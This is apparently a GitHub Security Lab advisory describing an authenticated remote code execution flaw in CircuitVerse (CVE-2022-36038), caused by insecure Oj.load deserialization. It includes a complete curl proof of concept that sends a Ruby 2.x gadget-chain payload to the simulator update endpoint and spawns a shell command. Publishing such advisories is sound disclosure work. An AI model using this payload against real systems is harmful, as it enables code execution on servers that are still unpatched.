Coordinated Disclosure Timeline
- 2022-08-23: sent report to CircuitVerse maintainers
-
2022-08-23: CircuitVerse maintainers fixed the vulnerability and acknowledged it within 45 minutes!
- 2022-08-23: CVE has been assigned by GitHub
- 2022-08-24: Advisory was published
Summary
A remote code execution (RCE) vulnerability in CircuitVerse allowed authenticated attackers to execute arbitrary code via specially crafted JSON payloads.
Product
CircuitVerse
Tested Version
Details
Issue: Authenticated remote code execution due to insecure deserialization (GHSL-2022-069
)
CircuitVerse uses Oj for deserializing JSON payloads from remote sources. When Oj.load
is used without a restricting mode, arbitrary Ruby objects can be deserialized. Deserializing untrusted data using any method that allows the construction of arbitrary objects is easily exploitable and, in many cases, allows an attacker to execute arbitrary code. So-called “gadget chains” that allow code execution exist for all versions of Ruby.
The CircuitVerse simulator exposes an update endpoint which passes params[:data]
to the sanitize_data method, which uses Oj.load
to deserialize the given JSON if an assignment_id
has been set on the project. An assignment_id
is set when the attacker is working on an assignment. The attackers can create an assigment themselves and start “working” on it. Authenticated attackers able to send arbitrary requests to the update
endpoint of the simulator will be able to achieve remote code execution (RCE).
This vulnerability was found using a CodeQL query which identifies deserialization of user-controlled data.
Proof of concept (for Ruby 2.x)
Precondition: The attacker needs to be working on an assignment. Attackers might create assignments to work on themselves (depending on the permissions of the account).
The attacker might then start his newly created assignment by calling the GET-endpoint: /groups/<group-id>/assignments/<assignment-id>/start
.
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:3000' -H $'Content-Length: 586' -H $'X-CSRF-Token: EEcLR9+qTNGQpy/Q0D76DTcQ0aRL51/p1D9YdJI7HRY7TQnrEXY02n/6139jt5RZgjcuPciEN+hd8YLjAWG9nQ==' -H $'Content-Type: application/json' -H $'Accept: */*' -H $'Origin: http://127.0.0.1:3000' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'[..] _logix_session=eUbYycRYw3ncnxF%2BXKkXFlJa73S5N21aPO5IjgYtg7fWRGypARLDp91mt%2BdXOO5jtvXBjnr7YP%2BRwRVife90EdGqurWlAUTcyJxMQD7Qe98qkKsx7oTvcBmq6mGeAkPVMgj1gsQQU3JQUQoD1D2fRODDfBBKcL90%2ByqVUz1sHeiWkJN%2Ft%2B3%2BMBi7%2FyRZSRE5ND2a6i1zK9K8yPPj79d9DRUuebmAZi97ngYNhO7yynR9rsy%2BWPoj7KoJqS10xdQuoZFrK1g%2BqqZ%2FCdDmVNSMU8A664EncddcP9Vk5P9Q%2BEmMf9XyP7K4LoiVQ1BGXwvWUMyJMy%2Bbu1Aq%2FBu98gAPQ7TJFLtG3AREfOH%2BzIaGLOlTPSKtGZzx4Ge8sESm9RLpM5otqfNWG%2BNaAHx7nVn3YJk%2B%2FoPcTSFJgx2Ngsw4JIPUzUaTAPz0UckIyZ1kO13HWWVQfg7nPOIT179VPi5S07jZ--KZKYJF39eyrLf0Qb--4OLl64vwmNkgNU29VcdxAQ%3D%3D' \
--data-binary $'{\"data\":\"{\\\"^#1\\\":[[{\\\"^c\\\":\\\"Gem::SpecFetcher\\\"},{\\\"^c\\\":\\\"Gem::Installer\\\"},{\\\"^o\\\":\\\"Gem::Requirement\\\",\\\"requirements\\\":{\\\"^o\\\":\\\"Gem::Package::TarReader\\\",\\\"io\\\":{\\\"^o\\\":\\\"Net::BufferedIO\\\",\\\"io\\\":{\\\"^o\\\":\\\"Gem::Package::TarReader::Entry\\\",\\\"read\\\":0,\\\"header\\\":\\\"any\\\"},\\\"debug_output\\\":{\\\"^o\\\":\\\"Net::WriteAdapter\\\",\\\"socket\\\":{\\\"^o\\\":\\\"Gem::RequestSet\\\",\\\"sets\\\":{\\\"^o\\\":\\\"Net::WriteAdapter\\\",\\\"socket\\\":{\\\"^c\\\":\\\"Kernel\\\"},\\\"method_id\\\":\\\":spawn\\\"},\\\"git_set\\\":\\\"touch /tmp/pwned.txt\\\"},\\\"method_id\\\":\\\":resolve\\\"}}}}],\\\"any\\\"]}\",\"id\":\"admin-test\",\"image\":\"data:,\",\"name\":\"test\"}' \
$'http://127.0.0.1:3000/simulator/update_data'
(Hint: replace the X-CSRF-Token
header and the _logix_session
cookie with valid (authenticated) values)
Please note:
- The above payload for Ruby 2.x is based on a gadget chain for
Marshal.load
originally discovered by William Bowling aka vakzz. - If the above POC is executed against CircuitVerse running on a Ruby 3.x version it will return a 500 internal server error and the log file on the server will contain following string
NoMethodError (undefined method call' for nil:NilClass
- A payload for
Oj.load
such as the one above can be found in this blog post from Bishop Fox. - We are in possession of an undisclosed
Oj.load
payload for Ruby 3.x, that is based on the newestMarshal.load
gadget chain from William Bowling.
Impact
This issue may lead to Remote Code Execution (RCE)
CVE
- CVE-2022-36038
Credit
This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2022-069
in any communication regarding this issue.